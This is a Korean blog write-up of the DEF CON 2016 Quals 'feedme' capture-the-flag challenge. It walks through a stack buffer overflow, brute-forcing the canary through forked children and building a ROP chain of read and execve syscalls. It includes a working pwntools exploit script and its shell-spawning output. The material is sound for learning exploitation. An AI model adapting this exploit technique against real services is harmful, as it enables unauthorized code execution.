By choirish | January 18, 2017
나도 해본다, 포너블! (feat. Defcon2016 Feed Me)
요새 리버싱 문제에 혹하여 포너블에 소홀했던 자신을 반성하며 포너블 문제를 하나 풀어보았습니다 후훟
오늘 풀어볼 문제는 DEF CON 2016 Quals – Feed me
입니다.
문제풀이 Key Point
분석하기에 앞서 문제를 풀기 위한 Key point를 정리해보았습니다.
KeyPoint
- Buffer overflow 취약점이 존재한다.
- canary(stack-smashing-protector)가 존재한다.
- fork 함수를 호출한다. (800번의 제한이 있다고 할 수 있음)
- parent의 canary가 정해지면, 하위 child의 canary는 parent의 canary와 모두 동일하다.
- 800번 fork하는 동안 canary가 변하지 않으므로, Brute force 공격을 통해 canary를 알아낼 수 있다.
- Static compile된 바이너리이므로 바이너리 안에 libc가 포함되어있다.
- 웬만하면(제작자가 컴파일 시 int 80을 일부러 빼지 않은 이상) int 80을 찾을 수 있다.
- syscall을 이용해 read(syscall num : 3)와 execve(syscall num : 11)를 호출하고, 쉘을 딸 수 있다.
- NX enabled 조건이 걸려있다.
- 스택에 쉘코드를 올려서 실행하기 어려우므로 ROP(Return Oriented Programming)를 이용한다.
간단명료하죠? ㅎㅎ 각각에 대한 세부 설명은 분석을 하면서 차근차근 보태도록 할게요~
분석에 들어가기 전에… 고백할 것이… 제가 ROP가 처음입니다 하핳ㅎㅎ
이래저래 개념이나 공격 시나리오 정도는 알고 있었는데 직접 가젯을 찾고 익스를 짜 본 적은 없달까!! ㅎㅎ
저는 ROP의 기본 개념을 보충하기 위해서 Salen의 ropasaurusrex 롸업을 참고하였답니다 훟훟
여기서 배운 ROP를 위한 팁을 다시 한 번 정리해보았어요.
Basic Tips for ROP
- 쓰기 가능한 메모리 공간 주소 찾기
- objdump -x ./[파일이름]
- .data / .bss / .dynamic section에 가능
- pop pop ret 가젯 찾기
- ROP 가젯을 찾는 툴 중 rp++를 이용한다.
- ./rp-lin-x86 -f ./[파일이름] -r 4 | grep “pop”
- 필자는 요 링크를 통해 리눅스용 바이너리 하나만 다운로드 받아서 씀!
- 어디서나 rp-lin-x86 명령을 쓸 수 있게 PATH 환경 변수에 포함되어 있는 /usr/local/sbin 디렉터리에, root 소유로 넣어주고! 사용했습니다 ㅎㅎ
- .bss 섹션에 /bin/sh 입력하기
- read(stdin)으로 입력을 받아 /bin/sh을 .bss 섹션에 저장함
자 그럼 요로코롬 정리한 팁들을 모아모아 분석을 시작해봅시다 ㅎㅎ 요점만 정리해서 후딱 끝내도록 하지요 총총
[들어가기] 바이너리 열어보기
바이너리의 정보를 살펴보면 쁍! 간만에 보는 ELF-32bit 바이너리군요!!
peda에서 checksec으로, 바이너리에 걸린 보호기법을 알아보면 쁍! NX(Not eXecutable)만 enabled 되어있네요!!
바이너리를 직접 실행시켜보면??
$ ./feedme
FEED ME!
123123123123123123123123123123123123123123123
ATE 31323331323331323331323331323331...
YUM, got 32 bytes!
Child exit.
FEED ME!
...
FEED ME!!! ATE!!! YUM!!! 하고, 또 FEED ME!! 하는 녀석이네요 ㅎㅎ
그럼 앞서 정리한 문제 풀이 Key points를 기준으로 본격 분석을 시작해봅시다.
[ point 1 ] BOF??!!
ida로 열어보니 엄청나게 strip 되어있군요… 함수도 핵많음… 경악잼
함수가 엄청 많아서… 헐 뭐지? 했다가 음 이게 다 분석해야 할 함수는 아닐 거야… 했는데!
진실은… static compiled
바이너리라서 printf 같은 기본 libc 함수들도 모두 포함되어 strip되었기 때문임!
요로코롬 심하게 strip 되어있을 때는 바이너리를 실행했을 때 본 String을 검색
(Shift+F12 = Strings Window)해서 찾아갑니다!
bof 취약점은 바로 요기! FeedMe! 하는 함수에서 발견할 수 있어욥!!
stack에서 (canary를 덮지 않고) input을 저장할 수 있는 공간의 크기는 0x20 byte이다.
feedme_8049036
함수에서는 입력받을 문자열의 크기를 입력값의 가장 첫 번째 값의 아스키값으로 정한다.즉 사용자가 첫 번째 글자로 입력하는 값에 따라
0x00~0xFF
크기만큼의 값을 입력할 수 있다. (저장 공간은 0x20 byte 인데!!)BOF 발생!!!!!!!
입력값의 32글자(0x20 = 32) 다음 부분에 stack canary(*MK_FP(GS, 20)가 존재!
+) 잠깐! canary를 덮기 전까지 입력할 수 있는 공간은 20byte이지만!
실제로 sfp(stack frame pointer)와 ret(return) 주소가 등장하기 전까지 사용자에게 할당된 버프의 크기는 0x2C byte 입니다! 고로 나중에 payload를 작성하실 때는, 요로코롬 쓰셔야 합니다 총총!
dummyA(32byte)+canary+dummyB(12byte)+(ret 위치에 넣을)가젯
- ※
dummyB = buffer의 나머지(8byte) + sfp(4byte)
[ point 2 ] fork???!
fork한다는 사실을 어디서 발견할 수 있느냐??! 바로 여기 Yum!!! 하는 함수에서 발견할 수 있습니다.
- yum_80490B0 함수는 main 함수에서 호출되는 함수입니다.
- fork _806CC70 함수에 들어가 보면 fork.c 뭐시기 하면서 엄청 fork 함수스러운 느낌이 폴폴!
- fork 함수의 return 값을 v3에 저장하는데… v3가 0일 때만 다음 if문 안으로 들어가 feedme 함수를 호출할 수 있습니다.
- (2번 부가 설명) fork 함수의 리턴값은?!
- parent 프로세스가 fork를 불렀을 때 : child 프로세스의 PID
- child 프로세스가 fork를 불렀을 때 : 0
- 참고하기 링크
- fork를 부르는 건 800번!! 가능함!!
- fork를 하기 때문에 canary를 Brute force 공격으로 알아낼 수 있는 것임!
- fork 하지 않는다면, canary가 일치하지 않았을 때 스택스매싱나면서 아예 프로그램이 종료되었을 것임!!!
- fork 하지 않는다면, canary가 일치하지 않았을 때 스택스매싱나면서 아예 프로그램이 종료되었을 것임!!!
다른 분의 롸업을 보니 strace를 통해서도 fork의 존재를 확실하게! 확인할 수 있더군요! 굿굿!!
무튼 흠흠흠 요지를 정리하면…
child 프로세스가 fork 함수를 불렀을 때만, feedme를 호출할 수 있다!
그리고 fork가 있기 때문에 canary를 Brute Force로 알아낼 수 있다!는 중요한 포인트 캐치하고 가시길 바랍니다 ㅎㅎ
[ point 3 ] 바이너리 속 “int 0x80″을 찾아서!
우선 “int 0x80″이 무엇을 뜻하는지 알아보자!
- What is System Call ?
- 응용 프로그램이 시스템 콜을 부르면 OS(운영체제)가 시스템 콜 넘버에 해당하는 서비스(파일 읽기 등)를 수행한다!
- Make a system call in 32-bit Linux
- eax 레지스터에 시스템 콜 넘버를, ebx, ecx, edx, esi, edi, ebp 레지스터에 순서대로 필요한 인자값을 세팅한다.
- 그러고 나서 int 0x80 instruction을 호출하여 최종적으로 시스템 콜을 부르는 것!!
- 참고 자료 링크
- System call list of 32-bit Linux
- num 3 : sys_read
- num 11(0xb) : sys_execve
- 간단명료한 표 참고 자료 링크
- 설명 상세한 참고 자료 링크
그렇다면??? 저는 sys_read 시스템 콜을 통해 “/bin/sh”을 stdin으로 읽어주고, 그 값을 sys_execve 시스템 콜에 전달하는 시나리오를 세웠습니다!
각각의 시스템 콜을 호출할 때는 마지막 부분에 “int 0x80″을 꼭 불러줘야 한다는 것★★★!!!
이따가 익스 짤 때 가젯은 한꺼번에 찾아 보여드리려 했으나! int 0x80 먼저 스포해드립져!!
요로코롬 rp++에 명령어를 쳐주면? 쁍!! rp++!!
(저는 rp-lin-x86 이라는 바이너리 통째로 받았으므로 명령어가 rp-lin-x86!!)
rp-lin-x86 -f ./feedme -r 4 | grep "int 0x80 ; ret"
int 0x80과 ret이 함께 있는 0x0806fa20 요녀석을 써주면 되겠습니다~
[ 본격 익스 ] Canary Brute Force!! & ROP!!
문제를 풀기 위한 바이너리 분석과 기본 개념 다지기는 어느 정도 마무리하였으니!! 그걸 바탕으로 요 두 가지만 완성하면 끝끝!입니다
- Canary값 알아내기 익스!
- ROP 가젯 모아 익스!
+) 추가로!! 이번에는 pwntools 한번 적절히 활용해 보기로 했어요!
pwntools에서 제가 참고한 함수들에 대한 정보를 하나씩 모두 링크 걸어드릴 테니! 참고하시길!!
Reference
- llopsled의 pwntools Github : 설치 정보 및 소스 참고 가능
- Pwntools Docs : 각 함수 상세 설명 및 예제
- pwnlib.tubes.sock : simple 소켓 연결
- from pwn import : 자주 사용하는 클래스(및 함수) 정보 – good!
- pwnlib.log : log.info( ) – 진행 상황 멋드러지게 프린트하기
- pwnlib.elf : bss( ) – .bss 영역의 주소를 자동으로 가져옴!
- pwnlib.util.packing : easy packing and repr
저는 특히 요기서 패킹!이랑 소켓!연결이 간단하고 넘나 좋더라구요! 앞으로도 애용할듯합니다 ㅎㅎ 하지만 pwntools는 64bit 환경에서 더욱 많은 기능을 실현한다고 하니!!!!! 이 점 참고하시길 ㅎㅎ
그러면! canary bruteforce
하는 거는 파이썬 코드로 슉슉 짜면 그리 어렵지 않으니…
설명 생략하고…ㅎ 이따 익스에서 바로 보여드리겠슴돠
(혹시 이런게 처음이라 하시는 분은 나도 해본다, 타이밍어택편을 참고하시길!
한 바이트씩 brute force하는 방식이 비슷하답니다!!)
그럼 최종 익스를 공개하기 전에 가젯부터 찾아볼까요!!
제가 익스코드에서 바이너리에게 부탁하고 싶은 일은 다음 두 가지입니다!!
read( 0, buf, size )
execve( “/bin/sh”, null, null )
아까 시스템 콜 설명에서 말씀드렸듯이 read와 execve를 시스템 콜로 부를 예정이고, (콜 넘버를 eax에!)
그에 대한 인자값은 ebx, ecx, edx에 차례로 넣을 겁니다!
그!러!므!로! 우리에게 필요한 가젯을 찾아보면??!
1. eax : rp-lin-x86 -f ./feedme -r 4 | grep “pop eax ; ret”
0x080bb496: pop eax ; ret ; (1 found)
0x080e243d: pop eax ; ret ; (1 found)
0x080e433a: pop eax ; ret ; (1 found)
0x080e6a5c: pop eax ; ret ; (1 found)
2. edx ecx ebx : rp-lin-x86 -f ./feedme -r 4 | grep “pop edx”
0x0806f370: pop edx ; pop ecx ; pop ebx ; ret ; (1 found)
3. int 0x80 : rp-lin-x86 -f ./feedme -r 4 | grep “int 0x80 ; ret”
0x0806fa20: int 0x80 ; ret ; (1 found)
.bss 영역 주소 : objdump -x ./feedme
Idx Name Size VMA LMA File off Algn
22 .data 00000f20 080ea060 080ea060 000a1060 2**5
CONTENTS, ALLOC, LOAD, DATA
23 .bss 0000180c 080eaf80 080eaf80 000a1f80 2**5
ALLOC
(요거는 미리 구해두긴 했었는데… ㅎㅎ 익스에서는 pwntools의 pwnlib.elf 클래스에서 bss( )를 활용!했음)
짜라잔! 가젯에 대한 정보는 상세히 또 익스에 주석으로 달아놨으니 참고참고! 하시길!! 그럼 스피디하게 익스 기기!!
iwillfeedyou.py
from pwn import *
import binascii
s = remote('0.0.0.0',7777)
e= ELF('/home/nyoung/achallenges/feedmeee/feedme')
s.recvuntil('FEED ME!\n')
canary = ""
for i in range(0,4):
for j in range(0x00,0xff):
msglen = binascii.unhexlify(hex(32+len(canary)+1)[2:])
trybyte = chr(j)
s.send(msglen + "A"*32 + canary + trybyte)
data = s.recvuntil('FEED ME!\n')
if "YUM" in data:
print data
canary += trybyte
log.info("Found : "+hex(j)+", Canary : "+repr(canary))
# print "canary len : ",len(canary)
break
# my gadgets
peax = 0x080e6a5c # pop eax ; ret ;
pedcbx = 0x0806f370 # pop edx ; pop ecx ; pop ebx ; ret ;
int0x80 = 0x0806fa20 # int 0x80 ; ret ;
payload = "A"*32
payload += canary
payload += "B"*12
payload += p32(peax) # pop eax
payload += p32(0x3) # number of systemcall sys_read
payload += p32(pedcbx) # pop edx/ecx/ebx
payload += p32(0x8) # size of stdin
payload += p32(e.bss()) # buf for stdin
payload += p32(0) # fd of stdin
payload += p32(int0x80) # invoke system calls in Linux on x86
payload += p32(peax) # pop eax
payload += p32(0xb) # number of systemcall sys_execve
payload += p32(pedcbx) # pop edx/ecx/ebx
payload += p32(0) # third argument of execve : NULL
payload += p32(0) # second argument of execve : NULL
payload += p32(e.bss()) # first argument of execve : buf
payload += p32(int0x80) # invoke system calls
s.send(chr(len(payload)))
s.send(payload)
s.send("/bin/sh\x00")
s.interactive()
socat tcp-listen:7777,reuseaddr,fork exec:./feedme
요로코롬 셀프로 소켓 열어놓고 나서(소켓 연 위치에 flag 파일도 생성해 둘 것!), 위 익스로 공격하면 뙇!!
쉘이 뜨고 flag를 읽었어욤 후후! pwntools 썼더니, 색깔도 넣어주고 쉘뜨는 표시도 간지나게 해주고 굳굳이네염 ㅎㅎ (가젯 일부러 이상한 거 넣어두고 진짜 그럼 쉘 안 뜨나 실험해봤는데 pwntools의 interactive() 때문에… 쉘 뜬 거 아닌데도 무조건 $ 뜨는 바람에 첨에 넘나 당황했다는… ㅋㅋ)
익스 실행 결과를 모두 가져오면?? 요렇습니다 쁍!
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Opening connection to 0.0.0.0 on port 7777: Done
[*] '/home/nyoung/achallenges/feedmeee/feedme'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
ATE 41414141414141414141414141414141...
YUM, got 33 bytes!
Child exit.
FEED ME!
[*] Found : 0x0, Canary : '\x00'
ATE 41414141414141414141414141414141...
YUM, got 34 bytes!
Child exit.
FEED ME!
[*] Found : 0x58, Canary : '\x00X'
ATE 41414141414141414141414141414141...
YUM, got 35 bytes!
Child exit.
FEED ME!
[*] Found : 0x4e, Canary : '\x00XN'
ATE 41414141414141414141414141414141...
YUM, got 36 bytes!
Child exit.
FEED ME!
[*] Found : 0x9c, Canary : '\x00XN\x9c'
[*] Switching to interactive mode
ATE 41414141414141414141414141414141...
$ cat flag
The flag is: It's too bad! we c0uldn't??! d0 the R0P CHAIN BLIND TOO
$
끄읕! 끄읕!
오늘도 수고했어요!